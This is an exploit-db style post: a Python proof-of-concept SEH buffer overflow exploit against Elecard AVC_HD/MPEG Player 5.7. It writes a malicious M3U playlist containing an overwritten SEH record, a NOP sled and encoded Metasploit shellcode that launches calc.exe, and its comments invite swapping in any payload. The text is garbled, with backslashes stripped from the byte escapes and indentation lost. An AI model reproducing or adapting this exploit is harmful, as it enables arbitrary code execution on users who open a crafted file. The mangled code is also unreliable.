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Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow

Posted on 28 February 2011

#!/usr/bin/env python
# Software: Elecard AVC_HD/MPEG Player 5.7 (SEH)
# Author: sickness
# Download : http://www.elecard.com/en/products/end-user-software/playback/avchd-player.html
# PoC for Elecard MPEG: http://www.exploit-db.com/exploits/16237/
# Tested : Windows XP Professional SP3 (EN) latest updates
# DATE   : 26/02/2011
# Bad chars: x00x0ax0dx25x68x08 There might be more so watch out !
###################################################################
# You might need to change the offset.
# The payload can be replaced with whatever you want, there is enough space.
###################################################################

import sys

header="#EXTM3U
"

junk="x42"*4
nseh="xebx06x90x90"
seh="xA6xA0x94x73"  # p/p/r from D3DIM700.DLL
nops = "x90"*16

# msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -b "x00x0ax0dx25x68x08" -t c
sc = ("x6ax32x59xd9xeexd9x74x24xf4x5bx81x73x13xfdx1e"
"x9fxecx83xebxfcxe2xf4x01xf6x16xecxfdx1exffx65"
"x18x2fx4dx88x76x4cxafx67xafx12x14xbexe9x95xed"
"xc4xf2xa9xd5xcaxccxe1xaex2cx51x22xfex90xffx32"
"xbfx2dx32x13x9ex2bx1fxeexcdxbbx76x4cx8fx67xbf"
"x22x9ex3cx76x5exe7x69x3dx6axd5xedx2dx4ex14xa4"
"xe5x95xc7xccxfcxcdx7cxd0xb4x95xabx67xfcxc8xae"
"x13xccxdex33x2dx32x13x9ex2bxc5xfexeax18xfex63"
"x67xd7x80x3axeax0exa5x95xc7xc8xfcxcdxf9x67xf1"
"x55x14xb4xe1x1fx4cx67xf9x95x9ex3cx74x5axbbxc8"
"xa6x45xfexb5xa7x4fx60x0cxa5x41xc5x67xefxf5x19"
"xb1x97x1fx12x69x44x1ex9fxecxadx76xaex67x92x99"
"x60x39x46xeex2ax4exabx76x39x79x40x83x60x39xc1"
"x18xe3xe6x7dxe5x7fx99xf8xa5xd8xffx8fx71xf5xec"
"xaexe1x4ax8fx9cx72xfcxc2x98x66xfaxec")
rest = "x90"*(21000-len(header+junk+nseh+seh+nops+sc))

exploit = header +junk + nseh + seh + nops + sc + rest

try:
f=open("evil.m3u","w")
f.write(exploit)
f.close()
print "Done!"
except:
print "Something went wrong!"

 

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